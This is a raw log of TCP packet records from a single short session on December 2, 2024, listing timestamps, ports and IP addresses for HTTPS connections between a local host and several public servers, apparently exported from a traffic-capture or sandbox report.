Dec 2, 2024 01:34:25.902672052 CET	443	49752	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:25.902733088 CET	49752	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:25.902751923 CET	443	49752	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:25.902795076 CET	49752	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:25.903666973 CET	49752	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:25.903687954 CET	443	49752	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:25.913069010 CET	443	49759	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:25.913135052 CET	49759	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:25.913583040 CET	49759	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:25.913595915 CET	443	49759	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:25.915530920 CET	49759	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:25.915539980 CET	443	49759	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:25.915709019 CET	49759	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:25.915725946 CET	443	49759	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:25.915791035 CET	49759	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:25.915812969 CET	443	49759	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:25.915867090 CET	49759	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:25.915880919 CET	443	49759	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:26.328365088 CET	443	49758	23.206.103.35	192.168.2.7
Dec 2, 2024 01:34:26.328442097 CET	443	49758	23.206.103.35	192.168.2.7
Dec 2, 2024 01:34:26.328497887 CET	49758	443	192.168.2.7	23.206.103.35
Dec 2, 2024 01:34:26.329346895 CET	49758	443	192.168.2.7	23.206.103.35
Dec 2, 2024 01:34:26.329369068 CET	443	49758	23.206.103.35	192.168.2.7
Dec 2, 2024 01:34:26.329380989 CET	49758	443	192.168.2.7	23.206.103.35
Dec 2, 2024 01:34:26.329386950 CET	443	49758	23.206.103.35	192.168.2.7
Dec 2, 2024 01:34:26.552284002 CET	49764	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:26.552349091 CET	443	49764	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:26.552421093 CET	49764	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:26.552795887 CET	49764	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:26.552815914 CET	443	49764	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:27.141844988 CET	443	49760	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.142620087 CET	443	49761	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.142719984 CET	49760	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:27.142777920 CET	443	49760	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.142983913 CET	49761	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:27.143012047 CET	443	49761	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.143207073 CET	49760	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:27.143213034 CET	443	49760	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.143491030 CET	49761	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:27.143500090 CET	443	49761	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.202594995 CET	443	49762	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.204811096 CET	49762	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:27.204920053 CET	443	49762	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.205336094 CET	49762	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:27.205368996 CET	443	49762	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.225564957 CET	443	49763	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.226114035 CET	49763	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:27.226140976 CET	443	49763	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.226588964 CET	49763	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:27.226597071 CET	443	49763	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.382740974 CET	443	49759	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:27.382831097 CET	443	49759	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:27.382904053 CET	49759	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:27.383728981 CET	49759	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:27.383791924 CET	443	49759	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:27.570874929 CET	49765	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:27.570923090 CET	443	49765	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:27.571000099 CET	49765	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:27.571471930 CET	49765	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:27.571487904 CET	443	49765	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:27.587546110 CET	443	49760	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.587606907 CET	443	49760	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.587687016 CET	49760	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:27.587904930 CET	49760	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:27.587934971 CET	443	49760	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.587944984 CET	49760	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:27.587950945 CET	443	49760	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.589020014 CET	443	49761	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.589122057 CET	443	49761	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.589191914 CET	49761	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:27.589737892 CET	49761	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:27.589756966 CET	443	49761	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.589770079 CET	49761	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:27.589776039 CET	443	49761	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.590787888 CET	49766	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:27.590822935 CET	443	49766	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.590883970 CET	49766	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:27.592756033 CET	49767	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:27.592797041 CET	443	49767	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.592858076 CET	49767	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:27.592950106 CET	49766	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:27.592974901 CET	443	49766	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.593415022 CET	49767	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:27.593429089 CET	443	49767	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.646712065 CET	443	49762	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.646790028 CET	443	49762	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.646873951 CET	49762	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:27.647069931 CET	49762	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:27.647090912 CET	443	49762	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.647103071 CET	49762	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:27.647108078 CET	443	49762	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.649733067 CET	49768	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:27.649765015 CET	443	49768	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.649849892 CET	49768	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:27.649971962 CET	49768	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:27.649987936 CET	443	49768	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.744215012 CET	443	49763	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.744307995 CET	443	49763	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.744406939 CET	49763	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:27.744677067 CET	49763	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:27.744699001 CET	443	49763	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.744716883 CET	49763	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:27.744724989 CET	443	49763	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.747477055 CET	49769	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:27.747643948 CET	443	49769	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.747771978 CET	49769	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:27.747917891 CET	49769	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:27.747977972 CET	443	49769	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.784017086 CET	443	49757	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.784523010 CET	49757	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:27.784554005 CET	443	49757	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.785141945 CET	49757	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:27.785147905 CET	443	49757	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:27.947999954 CET	443	49764	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:27.948081970 CET	49764	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:27.948551893 CET	49764	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:27.948563099 CET	443	49764	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:27.950458050 CET	49764	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:27.950464010 CET	443	49764	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:27.950587988 CET	49764	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:27.950602055 CET	443	49764	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:27.950608015 CET	49764	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:27.950623989 CET	443	49764	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:27.950771093 CET	49764	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:27.950783014 CET	443	49764	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:27.950953007 CET	49764	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:27.950973034 CET	443	49764	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:27.951123953 CET	49764	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:27.951134920 CET	443	49764	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:27.951143980 CET	49764	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:27.951152086 CET	443	49764	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:27.951268911 CET	49764	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:27.951281071 CET	443	49764	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:28.218858004 CET	443	49757	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:28.218935966 CET	443	49757	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:28.219033957 CET	49757	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:28.219280005 CET	49757	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:28.219295979 CET	443	49757	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:28.219335079 CET	49757	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:28.219340086 CET	443	49757	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:28.222259045 CET	49770	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:28.222304106 CET	443	49770	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:28.222377062 CET	49770	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:28.222579956 CET	49770	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:28.222594023 CET	443	49770	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:29.009541988 CET	443	49765	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:29.009596109 CET	49765	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:29.063260078 CET	49765	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:29.063285112 CET	443	49765	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:29.071858883 CET	49765	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:29.071868896 CET	443	49765	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:29.372997999 CET	443	49766	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:29.423891068 CET	49766	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:29.429589033 CET	49766	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:29.429635048 CET	443	49766	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:29.430018902 CET	49766	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:29.430027962 CET	443	49766	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:29.438641071 CET	443	49767	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:29.446316004 CET	49767	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:29.446348906 CET	443	49767	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:29.446801901 CET	49767	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:29.446809053 CET	443	49767	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:29.495937109 CET	443	49768	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:29.548844099 CET	49768	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:29.609091043 CET	49768	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:29.609114885 CET	443	49768	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:29.629661083 CET	49768	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:29.629683971 CET	443	49768	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:29.717288017 CET	443	49764	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:29.717375040 CET	443	49764	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:29.717473030 CET	49764	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:29.717473030 CET	49764	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:29.753489017 CET	49764	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:29.753525019 CET	443	49764	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:29.817219973 CET	443	49766	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:29.817286968 CET	443	49766	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:29.817492008 CET	49766	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:29.892112017 CET	443	49767	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:29.892189026 CET	443	49767	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:29.892256021 CET	49767	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:29.910643101 CET	49766	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:29.910679102 CET	443	49766	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:29.911381006 CET	49766	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:29.911397934 CET	443	49766	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:29.929265022 CET	49767	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:29.929301023 CET	443	49767	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:29.929317951 CET	49767	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:29.929323912 CET	443	49767	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:29.964772940 CET	443	49768	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:29.964838982 CET	443	49768	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:29.964903116 CET	49768	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:30.002070904 CET	443	49770	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:30.034269094 CET	443	49765	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:30.034322977 CET	49765	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:30.034337997 CET	443	49765	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:30.034352064 CET	443	49765	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:30.034373999 CET	49765	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:30.034395933 CET	49765	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:30.048876047 CET	49770	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:30.431253910 CET	49768	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:30.431253910 CET	49768	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:30.431304932 CET	443	49768	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:30.431324005 CET	443	49768	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:30.435199976 CET	49770	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:30.435216904 CET	443	49770	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:30.435635090 CET	49770	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:30.435641050 CET	443	49770	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:30.436575890 CET	49765	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:30.436587095 CET	443	49765	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:30.760234118 CET	443	49770	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:30.760554075 CET	443	49770	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:30.760608912 CET	49770	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:30.875503063 CET	49770	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:30.875504017 CET	49770	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:30.875555992 CET	443	49770	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:30.875571966 CET	443	49770	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:30.936172962 CET	49771	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:30.936228991 CET	443	49771	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:30.936301947 CET	49771	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:30.945389986 CET	49772	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:30.945444107 CET	443	49772	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:30.945516109 CET	49772	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:30.964586020 CET	49771	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:30.964621067 CET	443	49771	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:31.030914068 CET	49779	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:31.030985117 CET	443	49779	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:31.031049967 CET	49779	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:31.032972097 CET	49772	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:31.033013105 CET	443	49772	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:31.107722044 CET	49779	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:31.107748985 CET	443	49779	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:31.120466948 CET	49780	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:31.120543957 CET	443	49780	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:31.120608091 CET	49780	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:31.120805025 CET	49780	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:31.120816946 CET	443	49780	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:31.306515932 CET	443	49769	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:31.348150969 CET	49769	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:31.353982925 CET	49769	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:31.354008913 CET	443	49769	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:31.354523897 CET	49769	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:31.354535103 CET	443	49769	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:31.371020079 CET	49781	443	192.168.2.7	94.245.104.56
Dec 2, 2024 01:34:31.371073008 CET	443	49781	94.245.104.56	192.168.2.7
Dec 2, 2024 01:34:31.371159077 CET	49781	443	192.168.2.7	94.245.104.56
Dec 2, 2024 01:34:31.442451954 CET	49781	443	192.168.2.7	94.245.104.56
Dec 2, 2024 01:34:31.442471981 CET	443	49781	94.245.104.56	192.168.2.7
Dec 2, 2024 01:34:32.748691082 CET	443	49771	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:32.842391968 CET	443	49772	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:32.878384113 CET	49771	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:32.957624912 CET	443	49780	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:32.957788944 CET	443	49779	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:33.011009932 CET	49780	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:33.012316942 CET	49779	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:33.047339916 CET	443	49772	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:33.048357010 CET	49772	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:33.198947906 CET	49771	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:33.198986053 CET	443	49771	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:33.199421883 CET	49771	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:33.199428082 CET	443	49771	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:33.200618982 CET	49772	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:33.200643063 CET	443	49772	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:33.201044083 CET	49772	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:33.201050997 CET	443	49772	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:33.202513933 CET	49780	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:33.202526093 CET	443	49780	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:33.202943087 CET	49780	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:33.202946901 CET	443	49780	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:33.203268051 CET	49779	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:33.203284025 CET	443	49779	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:33.203633070 CET	49779	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:33.203636885 CET	443	49779	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:33.252830029 CET	443	49781	94.245.104.56	192.168.2.7
Dec 2, 2024 01:34:33.264978886 CET	49781	443	192.168.2.7	94.245.104.56
Dec 2, 2024 01:34:33.264997959 CET	443	49781	94.245.104.56	192.168.2.7
Dec 2, 2024 01:34:33.266150951 CET	443	49781	94.245.104.56	192.168.2.7
Dec 2, 2024 01:34:33.266227961 CET	49781	443	192.168.2.7	94.245.104.56
Dec 2, 2024 01:34:33.268064022 CET	49781	443	192.168.2.7	94.245.104.56
Dec 2, 2024 01:34:33.268177032 CET	443	49781	94.245.104.56	192.168.2.7
Dec 2, 2024 01:34:33.268215895 CET	49781	443	192.168.2.7	94.245.104.56
Dec 2, 2024 01:34:33.315345049 CET	443	49781	94.245.104.56	192.168.2.7
Dec 2, 2024 01:34:33.376059055 CET	49781	443	192.168.2.7	94.245.104.56
Dec 2, 2024 01:34:33.376079082 CET	443	49781	94.245.104.56	192.168.2.7
Dec 2, 2024 01:34:33.480504990 CET	49781	443	192.168.2.7	94.245.104.56
Dec 2, 2024 01:34:33.523564100 CET	443	49771	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:33.523652077 CET	443	49771	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:33.523736954 CET	49771	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:33.524626970 CET	443	49772	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:33.524883986 CET	443	49772	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:33.524945974 CET	49772	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:33.530292988 CET	443	49780	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:33.530344009 CET	443	49780	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:33.530810118 CET	443	49779	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:33.530865908 CET	49780	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:33.530879021 CET	443	49779	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:33.530914068 CET	49779	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:33.577948093 CET	49771	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:33.577948093 CET	49771	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:33.578011036 CET	49772	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:33.578018904 CET	443	49771	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:33.578041077 CET	443	49772	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:33.578084946 CET	49772	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:33.578092098 CET	443	49772	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:33.578093052 CET	443	49771	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:33.579647064 CET	49780	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:33.579670906 CET	443	49780	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:33.579694986 CET	49780	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:33.579700947 CET	443	49780	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:33.579834938 CET	49779	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:33.579859018 CET	443	49779	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:33.579873085 CET	49779	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:33.579879045 CET	443	49779	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:33.762267113 CET	443	49781	94.245.104.56	192.168.2.7
Dec 2, 2024 01:34:33.762367010 CET	443	49781	94.245.104.56	192.168.2.7
Dec 2, 2024 01:34:33.762414932 CET	49781	443	192.168.2.7	94.245.104.56
Dec 2, 2024 01:34:33.767930031 CET	49788	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:33.767982006 CET	443	49788	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:33.768043041 CET	49788	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:33.770937920 CET	49789	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:33.770984888 CET	443	49789	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:33.771043062 CET	49789	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:33.772828102 CET	49790	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:33.772849083 CET	443	49790	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:33.772906065 CET	49790	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:33.777931929 CET	49791	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:33.777945042 CET	443	49791	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:33.778031111 CET	49791	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:33.836252928 CET	49788	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:33.836302996 CET	443	49788	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:33.836677074 CET	49789	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:33.836695910 CET	443	49789	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:33.837595940 CET	49790	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:33.837610006 CET	443	49790	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:33.850227118 CET	49791	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:33.850238085 CET	443	49791	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:33.915291071 CET	49781	443	192.168.2.7	94.245.104.56
Dec 2, 2024 01:34:33.915309906 CET	443	49781	94.245.104.56	192.168.2.7
Dec 2, 2024 01:34:33.963599920 CET	49794	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:33.963639975 CET	443	49794	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:33.963709116 CET	49794	443	192.168.2.7	94.130.210.71
